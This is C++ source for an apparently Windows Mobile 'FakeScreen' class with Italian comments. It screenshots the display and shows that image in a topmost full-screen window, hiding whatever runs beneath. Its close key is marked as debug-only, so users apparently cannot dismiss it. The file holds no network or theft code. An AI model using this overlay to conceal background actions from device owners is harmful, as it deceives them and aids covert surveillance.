#include "FakeScreen.h" #define INITGUID #include #include #undef INITGUID HINSTANCE FakeScreen::g_hInst = 0; RECT FakeScreen::coords = {0}; IImagingFactory* FakeScreen::m_pImageFactory = NULL; IImage* FakeScreen::m_pImage = NULL; HWND FakeScreen::hWnd = NULL; ATOM FakeScreen::aWndClass = 0; FakeScreen* FakeScreen::m_pInstance = NULL; volatile LONG FakeScreen::lLock = 0; FakeScreen* FakeScreen::self(HINSTANCE hAppInst) { while (InterlockedExchange((LPLONG)&lLock, 1) != 0) Sleep(1); if (m_pInstance == NULL) { m_pInstance = new(std::nothrow) FakeScreen(hAppInst); } InterlockedExchange((LPLONG)&lLock, 0); return m_pInstance; } FakeScreen::FakeScreen(HINSTANCE hInst) : bInit(FALSE), hWndDesktop(0), hThread(NULL), lpBitmapBuf(NULL) { g_hInst = hInst; } FakeScreen::~FakeScreen() { Stop(); } BOOL FakeScreen::InitBitmapHeader() { HDC hDCScreen; hDCScreen = GetDC(hWndDesktop); if(hDCScreen == NULL) return FALSE; rExtents.top = 0; rExtents.left = 0; rExtents.right = GetDeviceCaps(hDCScreen, HORZRES); rExtents.bottom = GetDeviceCaps(hDCScreen, VERTRES); x = (rExtents.right - rExtents.left) & ~3; y = rExtents.bottom - rExtents.top; // Riempiamo l'header della BMP pbmi = (LPBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFO)+ (3 - 1) * sizeof(RGBQUAD)); if(pbmi == NULL) { ReleaseDC(hWndDesktop, hDCScreen); return FALSE; } pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); pbmi->bmiHeader.biWidth = x; pbmi->bmiHeader.biHeight = y; pbmi->bmiHeader.biPlanes = 1; pbmi->bmiHeader.biBitCount = DEFAULT_BITSPIXEL; pbmi->bmiHeader.biCompression = BI_RGB; // Maschera LPDWORD lpdwMaschera = (LPDWORD)(pbmi->bmiColors); lpdwMaschera[0] = 0x00007c00; lpdwMaschera[1] = 0x000003e0; lpdwMaschera[2] = 0x0000001f; pbmi->bmiHeader.biCompression = BI_BITFIELDS; // BitmapFileHeader DWORD dwImageDataSize = pbmi->bmiHeader.biWidth * pbmi->bmiHeader.biHeight * (pbmi->bmiHeader.biBitCount / 8); bfh.bfType = 'M' << 8 | 'B'; bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFO) + (3-1) * sizeof(RGBQUAD); bfh.bfSize = bfh.bfOffBits + dwImageDataSize; ReleaseDC(hWndDesktop, hDCScreen); return TRUE; } // Prende lo screenshot e valorizza lpBuf che poi va liberato con una delete[] BOOL FakeScreen::GetScreenshot(HBITMAP *hDIB, LPBYTE &lpBuf, UINT &uSize) { HBITMAP hBmpStock = NULL; HDC hDCMem = NULL; LPBYTE lpDibBuf = NULL; HDC hDCScreen; uSize = 0; hDCScreen = GetDC(hWndDesktop); if(hDCScreen == NULL) return FALSE; // Crea un memory DC in cui verrą selezionata la DIB hDCMem = CreateCompatibleDC(hDCScreen); if(hDCMem == NULL) { ReleaseDC(hWndDesktop, hDCScreen); return FALSE; } // lpDibBuf va liberato con una DeleteObject(HGDIOBJ) *hDIB = CreateDIBSection(hDCMem, pbmi, DIB_RGB_COLORS, (LPVOID*)&lpDibBuf, NULL, 0); if(*hDIB == NULL || lpDibBuf == NULL) { DeleteDC(hDCMem); ReleaseDC(hWndDesktop, hDCScreen); return FALSE; } hBmpStock = (HBITMAP)SelectObject(hDCMem, *hDIB); if(hBmpStock == NULL) { ReleaseDC(hWndDesktop, hDCScreen); DeleteDC(hDCMem); return FALSE; } if(BitBlt(hDCMem, 0, 0, rExtents.right - rExtents.left, rExtents.bottom - rExtents.top, hDCScreen, rExtents.left, rExtents.top, SRCCOPY) == 0) { ReleaseDC(hWndDesktop, hDCScreen); DeleteDC(hDCMem); DeleteObject(hBmpStock); return FALSE; } ReleaseDC(hWndDesktop, hDCScreen); DeleteDC(hDCMem); DeleteObject(hBmpStock); // Aggiungiamo l'header al buffer (lpBuf va poi liberato con una delete[]) PBYTE pTmp; uSize = pbmi->bmiHeader.biWidth * pbmi->bmiHeader.biHeight * (pbmi->bmiHeader.biBitCount / 8); lpBuf = new(std::nothrow) BYTE[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * 3 + uSize]; if(lpBuf == NULL) { uSize = 0; return FALSE; } pTmp = lpBuf; CopyMemory(pTmp, &bfh, sizeof(BITMAPFILEHEADER)); pTmp += sizeof(BITMAPFILEHEADER); CopyMemory(pTmp, &pbmi->bmiHeader, sizeof(BITMAPINFOHEADER)); pTmp += sizeof(BITMAPINFOHEADER); CopyMemory(pTmp, &pbmi->bmiColors, sizeof(RGBQUAD) * 3); pTmp += sizeof(RGBQUAD) * 3; CopyMemory(pTmp, lpDibBuf, uSize); uSize += sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * 3; return TRUE; } DWORD WINAPI FakeScreen::MessagePump(LPVOID lpParam) { MSG msg; FakeScreen *pFakeScreen = (FakeScreen *)lpParam; // Perform application initialization: if (!CreateScreenWindow(pFakeScreen->g_hInst)) { return FALSE; } // Main message loop: while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return (int) msg.wParam; } BOOL FakeScreen::MyRegisterClass(HINSTANCE hInstance, LPTSTR szWindowClass) { WNDCLASS wc; wc.style = CS_HREDRAW | CS_VREDRAW; wc.lpfnWndProc = FakeScreen::WndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = hInstance; wc.hIcon = NULL; wc.hCursor = 0; wc.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH); wc.lpszMenuName = 0; wc.lpszClassName = szWindowClass; aWndClass = RegisterClass(&wc); if(aWndClass == 0 && GetLastError() == ERROR_CLASS_ALREADY_EXISTS) { UnregisterClass((LPCWSTR)aWndClass, 0); aWndClass = RegisterClass(&wc); } return (BOOL)aWndClass; } BOOL FakeScreen::CreateScreenWindow(HINSTANCE hInstance) { g_hInst = hInstance; // Store instance handle in our global variable if (!MyRegisterClass(hInstance, L"")) return FALSE; // Create a window hWnd = CreateWindowEx(WS_EX_TOPMOST, L"", NULL, WS_POPUP, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), NULL, NULL, hInstance, NULL); if (!hWnd) return FALSE; ShowWindow(hWnd, SW_SHOWNORMAL); UpdateWindow(hWnd); SetFocus(hWnd); return TRUE; } #include "winuserm.h" LRESULT CALLBACK FakeScreen::WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_CREATE: break; case WM_KEYDOWN: // Abilitare solo durante il debugging switch (wParam) { case VK_ACTION: PostMessage(hWnd, WM_CLOSE, 0, 0); return 0L; } break; case WM_PAINT: HDC hDC; PAINTSTRUCT paintStruct; hDC = BeginPaint(hWnd, &paintStruct); FakeScreen::m_pImage->Draw(hDC, &(FakeScreen::coords), NULL); EndPaint(hWnd, &paintStruct); break; case WM_USER + 0x666: PostQuitMessage(0); //return DefWindowProc(hWnd, WM_CLOSE, wParam, lParam); break; case WM_DESTROY: break; case WM_QUIT: break; case WM_ACTIVATE: break; case WM_SETTINGCHANGE: break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } BOOL FakeScreen::Start() { ImageInfo info = {0}; HBITMAP hDIB = NULL; UINT uSize; HRESULT hr = E_FAIL; if(bInit) return FALSE; bInit = TRUE; hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (hr == S_FALSE) { CoUninitialize(); return FALSE; } if (FAILED(hr)) return FALSE; if (!SUCCEEDED(CoCreateInstance(CLSID_ImagingFactory, NULL, CLSCTX_INPROC_SERVER, IID_IImagingFactory, (void **) &m_pImageFactory))) { return FALSE; } if(InitBitmapHeader() == FALSE) return FALSE; // Prendiamo lo screenshot if(GetScreenshot(&hDIB, lpBitmapBuf, uSize) == FALSE) { if(hDIB) { DeleteObject(hDIB); hDIB = 0; } return FALSE; } if(hDIB) { DeleteObject(hDIB); hDIB = 0; } if(!SUCCEEDED(m_pImageFactory->CreateImageFromBuffer(lpBitmapBuf, uSize, BufferDisposalFlagNone, &m_pImage))) return FALSE; if(!SUCCEEDED(m_pImage->GetImageInfo(&info))) return FALSE; coords.left = 0; coords.top = 0; coords.right = info.Width; coords.bottom = info.Height; hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MessagePump, this, 0, NULL); if(hThread == NULL) return FALSE; Sleep(1000); return TRUE; } BOOL FakeScreen::Stop() { if(bInit == FALSE) return FALSE; if(hThread != NULL) { SendMessage(hWnd, WM_USER + 0x666, NULL, NULL); WaitForSingleObject(hThread, INFINITE); if(aWndClass) UnregisterClass((LPCWSTR)aWndClass, 0); CloseHandle(hThread); } if(pbmi) { LocalFree(pbmi); pbmi = NULL; } if(lpBitmapBuf) { delete[] lpBitmapBuf; lpBitmapBuf = NULL; } if(m_pImage) { m_pImage->Release(); m_pImage = NULL; } if(m_pImageFactory) { m_pImageFactory->Release(); m_pImageFactory = NULL; } CoUninitialize(); bInit = FALSE; return TRUE; } .